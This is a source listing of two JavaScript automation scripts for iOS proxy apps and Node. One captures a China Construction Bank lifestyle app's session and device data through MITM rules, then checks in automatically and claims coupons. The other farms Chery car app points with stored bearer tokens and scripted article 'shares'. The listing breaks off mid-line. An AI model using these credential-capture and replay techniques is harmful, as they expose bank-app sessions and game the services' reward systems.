+------------------ Loon 配置 ------------------ + +[MITM] +hostname = yunbusiness.ccb.com + +[Script] +http-request ^https:\/\/yunbusiness\.ccb\.com\/(clp_coupon|clp_service)\/txCtrl\?txcode=(A3341A038|autoLogin) tag=建行数据, script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js,requires-body=1 + +cron "17 7 * * *" script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js,tag = 建行生活,enable=true + +-------------- Quantumult X 配置 -------------- + +[MITM] +hostname = yunbusiness.ccb.com + +[rewrite_local] +^https:\/\/yunbusiness\.ccb\.com\/(clp_coupon|clp_service)\/txCtrl\?txcode=(A3341A038|autoLogin) url script-request-body https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js + +[task_local] +17 7 * * * https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js, tag=建行生活, enabled=true + +------------------ Stash 配置 ----------------- + +cron: + script: + - name: 建行生活 + cron: '17 7 * * *' + timeout: 10 + +http: + mitm: + - "yunbusiness.ccb.com" + script: + - match: ^https:\/\/yunbusiness\.ccb\.com\/(clp_coupon|clp_service)\/txCtrl\?txcode=(A3341A038|autoLogin) + name: 建行生活 + type: request + require-body: true + +script-providers: + 建行生活: + url: https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js + interval: 86400 + +*/ + +const $ = new Env('建行生活'); +const notify = $.isNode() ? require('./sendNotify') : ''; +let AppId = '1472477795', giftMap = { "1": "打车", "2": "外卖", "3": "骑行" }, message = ''; +let giftType = ($.isNode() ? process.env.JHSH_GIFT : $.getdata('JHSH_GIFT')) || '2'; // 奖励类型,默认领取'外卖'券 +let bodyStr = ($.isNode() ? process.env.JHSH_BODY : $.getdata('JHSH_BODY')) || ''; // 签到所需的 body +let autoLoginInfo = ($.isNode() ? process.env.JHSH_LOGIN_INFO : $.getdata('JHSH_LOGIN_INFO')) || ''; // 刷新 session 所需的数据 +let AppVersion = ($.isNode() ? process.env.JHSH_VERSION : $.getdata('JHSH_VERSION')) || '2.1.5.002'; // 最新版本号,获取失败时使用 +let skipDay = ($.isNode() ? process.env.JHSH_SKIPDAY : $.getdata('JHSH_SKIPDAY')) || ''; // 下个断签日 (适用于借记卡用户) +let bodyArr = bodyStr ? bodyStr.split("|") : []; +let bodyArr2 = autoLoginInfo ? autoLoginInfo.split("|") : []; +$.is_debug = ($.isNode() ? process.env.IS_DEDUG : $.getdata('is_debug')) || 'false'; + +if (isGetCookie = typeof $request !== `undefined`) { + GetCookie(); + $.done(); +} else { + !(async () => { + if (!autoLoginInfo || !bodyStr) { + $.msg($.name, '❌ 请先获取建行生活Cookie。'); + return; + } + const date = new Date(); + $.whichDay = date.getDay(); + $.weekMap = { + 0: "星期天", + 1: "星期一", + 2: "星期二", + 3: "星期三", + 4: "星期四", + 5: "星期五", + 6: "星期六", + }; + if ($.whichDay === parseInt(skipDay)) { + let text = `今天是断签日[${$.weekMap[$.whichDay]}], 跳过签到任务。` + console.log(text); + message += text; + return; + } + console.log(`\n共有[${bodyArr.length}]个建行生活账号\n`); + await getLatestVersion(); // 获取版本信息 + for (let i = 0; i < bodyArr.length; i++) { + if (bodyArr[i]) { + $.index = i + 1; + $.token = ''; + $.info = JSON.parse(bodyArr[i]); + $.info2 = JSON.parse(bodyArr2[i]); + $.giftList = []; + $.giftList2 = []; + $.getGiftMsg = ""; + $.isGetGift = false; + $.DeviceId = $.info2['DeviceId']; + $.MBCUserAgent = $.info2['MBCUserAgent']; + $.ALBody = $.info2['Body']; + console.log(`\n===== 账号[${$.info?.USR_TEL || $.index}]开始签到 =====\n`); + if (!$.info?.MID || !$.DeviceId || !$.MBCUserAgent || !$.ALBody) { + message += `🎉 账号 [${$.info?.USR_TEL ? hideSensitiveData($.info?.USR_TEL, 3, 4) : $.index}] 缺少参数,请重新获取Cookie。\n`; + continue; + } + await autoLogin(); // 刷新 session + if (!$.token) continue; + await main(); // 签到主函数 + if ($.giftList.length > 0) { + for (let j = 0; j < $.giftList.length; j++) { + if ($.isGetGift) break; + let item = $.giftList[j] + $.couponId = item?.couponId; + $.nodeDay = item?.nodeDay; + $.couponType = item?.couponType; + $.dccpBscInfSn = item?.dccpBscInfSn; + $.continue = false; + console.log(`尝试领取[${giftMap[giftType]}]券`); + for (let k = 1; k <= 3; k++) { + if (!$.continue) { + if (k >= 2) console.log(`领取失败,重试一次`); + await $.wait(1000 * 5); + await getGift(); // 领取奖励 + if ($.isGetGift) break; + } + } + }; + if (!$.isGetGift) { + $.getGiftMsg = `请打开app查看优惠券到账情况。\n`; + } + message += "," + $.getGiftMsg; + } + await $.wait(1000 * 3); + } + } + })() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(async () => { + if (message) { + message = message.replace(/\n+$/, ''); + if ($.isNode()) { + await notify.sendNotify($.name, message); + } else { + $.msg($.name, '', message); + } + } + $.done(); + }) +} + + +// 获取签到数据 +function GetCookie() { + debug($request.headers); + debug($request.body); + const headers = ObjectKeys2LowerCase($request.headers); // 将 headers 的所有 key 转换为小写以兼容各个代理 App + if (/A3341A038/.test($request.url)) { + $.body = JSON.parse($request.body); + $.body['MID'] = headers['mid']; + $.body = JSON.stringify($.body); + console.log(`开始新增用户数据 ${$.body}`); + $.setdata($.body, 'JHSH_BODY'); + $.msg($.name, ``, `🎉 建行生活签到数据获取成功。`); + } else if (/autoLogin/.test($request.url)) { + $.DeviceId = headers['deviceid']; + $.MBCUserAgent = headers['mbc-user-agent']; + if ($.DeviceId && $.MBCUserAgent && $request.body) { + autoLoginInfo = { + "DeviceId": $.DeviceId, + "MBCUserAgent": $.MBCUserAgent, + "Body": $request.body + } + $.setdata(JSON.stringify(autoLoginInfo), 'JHSH_LOGIN_INFO'); + console.log(JSON.stringify(autoLoginInfo) + "写入成功"); + } else { + console.log("❌ autoLogin 数据获取失败"); + } + } +} + + +// 刷新 session +async function autoLogin() { + let opt = { + url: `https://yunbusiness.ccb.com/clp_service/txCtrl?txcode=autoLogin`, + headers: { + 'AppVersion': AppVersion, + 'Content-Type': `application/json`, + 'DeviceId': $.DeviceId, + 'Accept': `application/json`, + 'MBC-User-Agent': $.MBCUserAgent, + 'Cookie': '' + }, + body: $.ALBody + } + debug(opt) + return new Promise(resolve => { + $.post(opt, async (error, response, data) => { + try { + let result = $.toObj(data) || response.body; + // 如果数据未加密,则 session 未过期 + if (result?.errCode) { + // {"newErrMsg":"未能处理您的请求。如有疑问,请咨询在线客服或致电95533","data":"","reqFlowNo":"","errCode":"0","errMsg":"session未失效,勿重复登录"} + // $.token = $.getdata('JHSH_TOKEN'); + console.log(`${result?.errMsg}`); + } else { + const set_cookie = response.headers['set-cookie'] || response.headers['Set-cookie'] || response.headers['Set-Cookie']; + // !$.isNode() ? $.setdata($.token, 'JHSH_TOKEN') : ''; // 数据持久化 + let new_cookie = $.toStr(set_cookie).match(/SESSION=([a-f0-9-]+);/); + if (new_cookie) { + $.token = new_cookie[0]; + console.log(`✅ 刷新 session 成功!`); + debug(new_cookie); + } else { + message += `❌ 账号 [${$.info?.USR_TEL ? hideSensitiveData($.info?.USR_TEL, 3, 4) : $.index}] 刷新 session 失败,请重新获取Cookie。\n`; + console.log(`⛔️ 刷新 session 失败`); + debug(set_cookie); + } + } + } catch (error) { + $.log(error); + } finally { + resolve() + } + }); + }) +} + + +// 签到主函数 +async function main() { + let opt = { + url: `https://yunbusiness.ccb.com/clp_coupon/txCtrl?txcode=A3341A115`, + headers: { + "Mid": $.info?.MID, + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/CloudMercWebView/UnionPay/1.0 CCBLoongPay", + "Accept": "application/json,text/javascript,*/*", + "Cookie": $.token + }, + body: `{"ACT_ID":"${$.info.ACT_ID}","REGION_CODE":"${$.info.REGION_CODE}","chnlType":"${$.info.chnlType}","regionCode":"${$.info.regionCode}"}` + } + debug(opt) + return new Promise(resolve => { + $.post(opt, async (err, resp, data) => { + try { + err && $.log(err); + if (data) { + debug(data); + data = JSON.parse(data); + let text = ''; + if (data.errCode == 0) { + text = `🎉 账号 [${$.info?.USR_TEL ? hideSensitiveData($.info?.USR_TEL, 3, 4) : $.index}] 签到成功`; + console.log(text); + message += text; + if (data?.data?.IS_AWARD == 1) { + // 更新自动断签日 + if (skipDay >= 0) { + // 当 $.whichDay 等于 6 时,下一断签日修正为 0,否则 $.whichDay + 1 + $.whichDay = $.whichDay == 6 ? 0 : $.whichDay + 1; + $.setdata(String($.whichDay), 'JHSH_SKIPDAY'); + console.log(`♻️ 已更新断签配置:明天(${$.weekMap[$.whichDay]})将会断签`); + } + $.GIFT_BAG = data?.data?.GIFT_BAG; + $.GIFT_BAG.forEach(item => { + let body = { "couponId": item.couponId, "nodeDay": item.nodeDay, "couponType": item.couponType, "dccpBscInfSn": item.dccpBscInfSn }; + if (new RegExp(`${giftMap[giftType]}`).test(item?.couponName)) { + if (/信用卡/.test(item?.couponName)) { + $.giftList.unshift(body); + } else { + $.giftList.push(body); + } + } else { + $.giftList2.push(body); + } + }) + $.giftList = [...$.giftList, ...$.giftList2]; + } else if (data?.data?.NEST_AWARD_DAY >= 1) { + text = `继续签到${data.data.NEST_AWARD_DAY}天可领取${giftMap[giftType]}券`; + message += `,${text}\n`; + console.log(text); + } else { + console.log(`暂无可领取的奖励`); + message += "\n"; + } + } else { + console.log(JSON.stringify(data)); + text = `❌ 账号 [${$.info?.USR_TEL ? hideSensitiveData($.info?.USR_TEL, 3, 4) : $.index}] 签到失败,${data.errMsg}\n`; + console.log(text); + message += text; + } + } else { + $.log("服务器返回了空数据"); + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }) + }) +} + + +// 领取奖励 +async function getGift() { + let opt = { + url: `https://yunbusiness.ccb.com/clp_coupon/txCtrl?txcode=A3341C082`, + headers: { + "Mid": $.info?.MID, + "Content-Type": "application/json;charset=utf-8", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/CloudMercWebView/UnionPay/1.0 CCBLoongPay", + "Accept": "application/json,text/javascript,*/*" + }, + body: `{"mebId":"${$.info.MEB_ID}","actId":"${$.info.ACT_ID}","nodeDay":${$.nodeDay},"couponType":${$.couponType},"nodeCouponId":"${$.couponId}","dccpBscInfSn":"${$.dccpBscInfSn}","chnlType":"${$.info.chnlType}","regionCode":"${$.info.regionCode}"}` + } + debug(opt); + return new Promise(resolve => { + $.post(opt, async (err, resp, data) => { + try { + err && $.log(err); + if (data) { + debug(data); + data = JSON.parse(data); + if (data.errCode == 0) { + $.isGetGift = true; + $.getGiftMsg = `获得签到奖励:${data?.data?.title}(${data?.data?.subTitle})\n`; + console.log($.getGiftMsg); + } else { + $.continue = true; + console.log(JSON.stringify(data)); + } + } else { + $.log("服务器返回了空数据"); + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }) + }) +} + + +// 获取最新版本 +async function getLatestVersion() { + let opt = { + url: `https://itunes.apple.com/cn/lookup?id=${AppId}`, + headers: { "Content-Type": "application/x-www-form-urlencoded" } + } + return new Promise(resolve => { + $.get(opt, async (err, resp, data) => { + try { + err && $.log(err); + if (data) { + try { + let result = JSON.parse(data); + const { trackName, bundleId, version, currentVersionReleaseDate, } = result.results[0]; + AppVersion = version; + !$.isNode() ? $.setdata(AppVersion, 'JHSH_VERSION') : ''; // 数据持久化 + console.log(`版本信息: ${trackName} ${version}\nBundleId: ${bundleId} \n更新时间: ${currentVersionReleaseDate}`); + } catch (e) { + $.log(e); + }; + } else { + console.log(`版本信息获取失败\n`); + } + } catch (error) { + $.log(error); + } finally { + resolve(); + } + }) + }) +} + + +/** + * 对象属性转小写 + * @param {object} obj - 传入 $request.headers + * @returns {object} 返回转换后的对象 + */ +function ObjectKeys2LowerCase(obj) { + const _lower = Object.fromEntries(Object.entries(obj).map(([k, v]) => [k.toLowerCase(), v])) + return new Proxy(_lower, { + get: function (target, propKey, receiver) { + return Reflect.get(target, propKey.toLowerCase(), receiver) + }, + set: function (target, propKey, value, receiver) { + return Reflect.set(target, propKey.toLowerCase(), value, receiver) + } + }) +} + + +// 数据脱敏 +function hideSensitiveData(string, head_length = 2, foot_length = 2) { + let star = ''; + try { + for (var i = 0; i < string.length - head_length - foot_length; i++) { + star += '*'; + } + return string.substring(0, head_length) + star + string.substring(string.length - foot_length); + } catch (e) { + console.log(e); + return string; + } +} + + +// DEBUG +function debug(content, title = "debug") { + let start = `\n----- ${title} -----\n`; + let end = `\n----- ${$.time('HH:mm:ss')} -----\n`; + if ($.is_debug === 'true') { + if (typeof content == "string") { + console.log(start + content + end); + } else if (typeof content == "object") { + console.log(start + $.toStr(content) + end); + } + } +} + + +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } isShadowrocket() { return "undefined" != typeof $rocket } isStash() { return "undefined" != typeof $environment && $environment["stash-version"] } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, a] = i.split("@"), n = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), a = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(a); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { if (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, i) }); else if (this.isQuanX()) this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t && t.error || "UndefinedError")); else if (this.isNode()) { let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: i, statusCode: r, headers: o, rawBody: a } = t, n = s.decode(a, this.encoding); e(null, { status: i, statusCode: r, headers: o, rawBody: a, body: n }, n) }, t => { const { message: i, response: r } = t; e(i, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, i) }); else if (this.isQuanX()) t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t && t.error || "UndefinedError")); else if (this.isNode()) { let i = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...o } = t; this.got[s](r, o).then(t => { const { statusCode: s, statusCode: r, headers: o, rawBody: a } = t, n = i.decode(a, this.encoding); e(null, { status: s, statusCode: r, headers: o, rawBody: a, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && i.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, i = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": i } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), this.isSurge() || this.isQuanX() || this.isLoon() ? $done(t) : this.isNode() && process.exit(1) } }(t, e) } diff --git a/Scripts/chery/chery.js b/Scripts/chery/chery.js new file mode 100644 index 00000000..caadd3fd --- /dev/null +++ b/Scripts/chery/chery.js @@ -0,0 +1,273 @@ +/** + * new Env("奇瑞汽车") + * cron 09 18 * * * test_v2.js + * Show:多账号分隔符@ 多变量分隔符& + * 变量名:chery_data + * 变量值:mobile-consumer-sapp.chery.cn请求头Authorization 去掉bearer + * scriptVersionNow = "0.0.1"; + */ + +const $ = new Env("奇瑞汽车"); +const ckName = "chery_data"; +const Notify = 1; //0为关闭通知,1为打开通知,默认为1 +let envSplitor = ["@", "\n"]; //多账号分隔符 +let strSplitor = '&'; //多变量分隔符 +let scriptVersionNow = "0.0.1"; +const JSConfig = { + jsUrl: "https://originfastly.jsdelivr.net/gh/smallfawn/Note@main/JavaScript/test_v2.js", + noticeUrl: `https://originfastly.jsdelivr.net/gh/smallfawn/Note@main/Notice.json`, +} + + +class UserInfo { + constructor(str) { + this.index = ++$.userIdx; + this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符 + this.ckStatus = true; + this.headers_get = { + "Host": "mobile-consumer-sapp.chery.cn", + "Connection": "keep-alive", + "Authorization": "Bearer " + this.ck, + "accept-language": "zh-CN,zh", + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 android/1.0.0", + "content-type": "application/json", + "Accept": "*/*", + "Origin": "https://hybrid-sapp.chery.cn", + "X-Requested-With": "com.digitalmall.chery", + "Sec-Fetch-Site": "same-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://hybrid-sapp.chery.cn/package-mine/pages/sign-in/sign-in", + "Accept-Encoding": "gzip, deflate" + }; + this.articleIdList = null + this.user_name = `` + this.user_point = `` + + } + async main() { + await this.user_info() + if (this.ckStatus == true) { + await this.task_signIn() + await this.article_list() + for (let articleId of this.articleIdList) { + await this.task_share(articleId) + } + $.msg(`[昵称] ${this.user_name}`, `积分${this.user_point}`, `正常`) + } + + } + async user_info() { + try { + let options = { + url: `https://mobile-consumer-sapp.chery.cn/web/user/current/details?access_token=${this.ck}&terminal=3`, + headers: this.headers_get, + }, + result = await httpRequest(options); + //console.log(options); + //console.log(result); + if (result.status == 200) { + $.DoubleLog(`✅账号[${this.index}] 【昵称】[${result.data.displayName}] 【积分】[${result.data.pointAccount.payableBalance}]🎉`); + this.user_name = result.data.displayName + this.user_point = result.data.pointAccount.payableBalance + this.ckStatus = true; + } else { + $.DoubleLog(`❌账号[${this.index}] [${result.message}]`); + this.ckStatus = false; + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async task_signIn() { + try { + let options = { + url: `https://mobile-consumer-sapp.chery.cn/web/event/trigger?access_token=${this.ck}`, + headers: { + "Host": "mobile-consumer-sapp.chery.cn", + "Connection": "keep-alive", + "Content-Length": "23", + "Authorization": "Bearer " + this.ck, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36 android/1.0.0", + "content-type": "application/json", + "Accept": "/", + "Origin": "https://hybrid-sapp.chery.cn", + "X-Requested-With": "com.digitalmall.chery", + "Sec-Fetch-Site": "same-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": "https://hybrid-sapp.chery.cn/package-mine/pages/sign-in/sign-in", + "Accept-Encoding": "gzip, deflate" + }, + body: JSON.stringify({ "eventCode": "SJ10002" }) + + }, + result = await httpRequest(options); + //console.log(options); + //console.log(result); + if (result.status == 200) { + $.DoubleLog(`✅账号[${this.index}] 【签到】[${result.message}]🎉`); + } else { + $.DoubleLog(`❌账号[${this.index}] 【签到】[${result.message}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async article_list() { + try { + let options = { + url: `https://mobile-consumer-sapp.chery.cn/web/community/recommend/contents?pageNo=1&pageSize=10&access_token=${this.ck}&terminal=3`, + headers: { + "user-agent": "Dart/2.17 (dart:io)", + "accept": "application/json, text/plain, */*", + "appversion": `2.17.6 (stable) (Tue Jul 12 12:54:37 2022 +0200) on "android_arm64"`, + "accept-language": "zh-CN,zh;q=0.9", + "accept-encoding": "gzip, deflate", + "host": "mobile-consumer-sapp.chery.cn", + "content-type": "application/json; charset=UTF-8", + "agent": "android", + "request-channel": "app", + }, + }, + result = await httpRequest(options); + //console.log(options); + //console.log(result); + if (result.status == 200) { + $.DoubleLog(`✅账号[${this.index}] 【获取文章】[${result.message}]🎉`); + this.articleIdList = [result.data.data[0].content.id, result.data.data[1].content.id] + } else { + $.DoubleLog(`❌账号[${this.index}] 【获取文章】[${result.message}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async task_share(articleId) { + + try { + let options = { + url: `https://mobile-consumer-sapp.chery.cn//web/community/contents/${articleId}/share?access_token=${this.ck}&terminal=3`, + headers: { + "user-agent": "Dart/2.17 (dart:io)", + "accept": "application/json, text/plain, */*", + "appversion": `2.17.6 (stable) (Tue Jul 12 12:54:37 2022 +0200) on "android_arm64"`, + "accept-language": "zh-CN,zh;q=0.9", + "accept-encoding": "gzip, deflate", + "host": "mobile-consumer-sapp.chery.cn", + "content-type": "application/json; charset=UTF-8", + "agent": "android", + "request-channel": "app", + }, + body: JSON.stringify({ "contentId": articleId }) + }, + result = await httpRequest(options); + //console.log(options); + //console.log(result); + if (result.status == 200) { + $.DoubleLog(`✅账号[${this.index}] 【分享】[${result.message}]🎉`); + } else { + $.DoubleLog(`❌账号[${this.index}] 【分享】[${result.message}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + +} + +async function start() { + //await _getVersion(); + //await _getNotice(); + let taskall = []; + for (let user of $.userList) { + if (user.ckStatus) { + taskall.push(await user.main()); + } + } + await Promise.all(taskall); +} + +!(async () => { + if (!(await checkEnv())) return; + if ($.userList.length > 0) { + await start(); + } await $.SendMsg($.message); +})().catch((e) => console.log(e)).finally(() => $.done()); + +//******************************************************** +/** + * 变量检查与处理 + * @returns + */ +async function checkEnv() { + let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; + //let userCount = 0; + if (userCookie) { + // console.log(userCookie); + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && $.userList.push(new UserInfo(n)); + //userCount = $.userList.length; + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${$.userList.length}个账号`), true; //true == !0 +} + +///////////////////////////////////////////////////////////////////////////////////// +function httpRequest(options, timeout = 1 * 1000) { + method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get"; + return new Promise(resolve => { + setTimeout(() => { + $[method](options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + try { data = JSON.parse(data); } catch (error) { } + } + } catch (e) { + console.log(e); + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +/** + * 获取远程版本 + */ +async function _getVersion() { + const options = { url: JSConfig.jsUrl }; + let httpResult = await httpRequest(options) + const regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/; + const match = httpResult.match(regex); + const scriptVersionLatest = match ? match[2] 